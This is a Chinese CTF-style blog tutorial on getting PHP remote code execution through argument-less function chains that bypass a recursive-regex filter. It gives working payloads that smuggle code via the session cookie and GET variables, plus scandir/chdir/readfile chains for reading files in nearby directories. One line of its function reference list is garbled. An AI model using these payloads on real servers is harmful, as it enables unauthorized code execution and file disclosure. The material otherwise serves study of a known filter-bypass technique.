无参函数的RCE

最近遇到挺多rce的题,这里记录一下关于无参函数的rce。

先看看代码:

1
2
3
4
5
6
7
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>

http headers传参进行RCE

查找php中关于session的函数,发现有一个session_id 函数

1
session_id ([string$id ] ) :string

session_id() 可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

可以将我们的参数转化为16进制穿进去,之后再用hex2bin()函数转换回来就可以了。

所以,payload可以为:code=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:eval(hex2bin(session_id(session_start())));
在http头中设置PHPSSID为想要执行代码的16进制

1
hex("phpinfo();")=706870696e666f28293b

在这里插入图片描述
成功rce

使用get/post传参进行RCE

先来看看几个函数:

get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量

试一下,在这里插入图片描述
可见我们的b参数在里面,那么这么把它提取出来呢
再找找位置函数
发现GET的参数在数组的第一个,于是用到current函数。

current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。

此时,我们就可以提取到GET参数的数组了
在这里插入图片描述
我们的b在最后一个位置,于是可以用end函数来取出来。

end ( array &$array ) : mixed end()
将 array 的内部指针移动到最后一个单元并返回其值。

在这里插入图片描述
成功取到了传入的b参数,于是在配合eval就可以利用参数b来达到rce的目的了。

最终payload:code=eval(end(current(get_defined_vars())));&b=phpinfo();
在这里插入图片描述

使用函数读取文件

读取当前目录下的文件

读取当前目录下的文件关键在于使用scandir(".")等函数将当前目录中的文件列出来,之后再使用readfile()等函数来读取文件。

获得”.”

  1. 使用chr()函数。
    chr() //将数字当做ascii码转化成字符,传入的参数会自动模256
    • 使用time()函数动态生成数字:
      time()函数返回时间戳,配合chr(),一定时间内一定会有chr(time())生成的字符为.
    • 构造chr(46)生成. :
      chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
  2. 使用dirname(xxx)可以生成.
    例如:
    1
    2
    3
    dirname(time())
    dirname(True)
    dirname(phpversion())
  3. 用其他函数。
    current(localeconv())的值也为.

读取文件

获取.后可以使用scandir()等函数列举当前目录下的文件,之后再使用数组相关函数来得到特定文件,最后使用readfile()等函数读取文件

例如:

1
2
3
4
5
readfile(next(array_reverse(scandir(chr(time())))))  //读取倒数第二个文件

readfile(current(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))) //读取获取最后一个文件

readfile(array_rand(array_flip(scandir(current(localeconv()))))) //随机读取目录下的一个文件

读取上级目录下的文件

读取上级目录的文件的基本思想是先使用chdir()改变工作目录,之后再读取目录下的文件。

跳转到上一级

  1. 绝对路径
    使用getcwd()可获得当前目录路径,再使用dirname()即可获得当前目录的上一级目录路径
    即:chdir(dirname(getcwd()))即可跳转到上一级目录

  2. 相对路径
    使用相对路径进行目录跳转关键在于获得..,而..可以由next(scandir("."))获得。

    这里的.的获得可以使用上面的方法。

读取文件

跳转目录后还需要再进行列目录,读文件的操作,因此这时还需要.
目录跳转后chdir返回的是布尔型

  1. dirname()可以接受布尔型参数,并且返回值恰好为.
    因此,可以这样写:dirname(chdir(".."))

  2. time()可以接受布尔型参数,可以再使用chr()获得一个.来列当前目录的文件。current(localtime(time(chdir("..")))) 结果为当前时间的秒数,也就是一分钟内会有一次值为46.
    列目录下的文件:scandir(chr(current(localtime(time(chdir(".."))))))

    再使用scandir扫描目录:`scandir(chr(time(chdir(next(scandir(chr(time()))))))

  3. 若跳转目录时使用的time()函数获得的".",那么此时的chr(time())值就为..
    scandir(chr(time(chdir(next(scandir(chr(time()))))))

列出目录后就可以使用数组相关函数和读文件函数来读文件了。

相关函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
getallheaders()       //获取所有http header信息,返回一个数组
get_defined_vars() //获取所有已定义变量,返回一个数组
getenv() //获取环境变量的值,返回一个数组

array_rand($Arr) //从数组键名中随机取出一个或多个单元
array_flip($Arr) //将数组中的键名变成值,值变成键名
($Arr) //对数组进行逆向排序
arraarray_reversey_walk($Arr,callback) //对数组的每个元素调用用户自定义函数
shuffle($Arr) //对数组进行随机排序返回True/False
current($Arr) //返回当前数组指针所指的元素,但不移动数组指针。
pos($Arr) //current的别名函数
prev($Arr) //将数组指针向前移动一个位置
next($Arr) //将数组指针向后移动一个位置
end($Arr) //将数组指针移动到数组最后一个元素,并将其元素值返回
reset($Arr) //重置元素指针到第一个元素位置处
key($Arr) //返回当前数组指针所在元素的键
sort($Arr) //将数组中的元素从小到大排序

dirname($path) //返回路径中的目录部分
chdir($dir) //改变目录,返回值为布尔型
getcwd() //取得当前工作目录

time() //获取当前时间戳
localtime() //返回本地时间,形式为数组,数组内容为秒数、分钟数、小时数...
文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/01/25/php/无参函数的RCE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog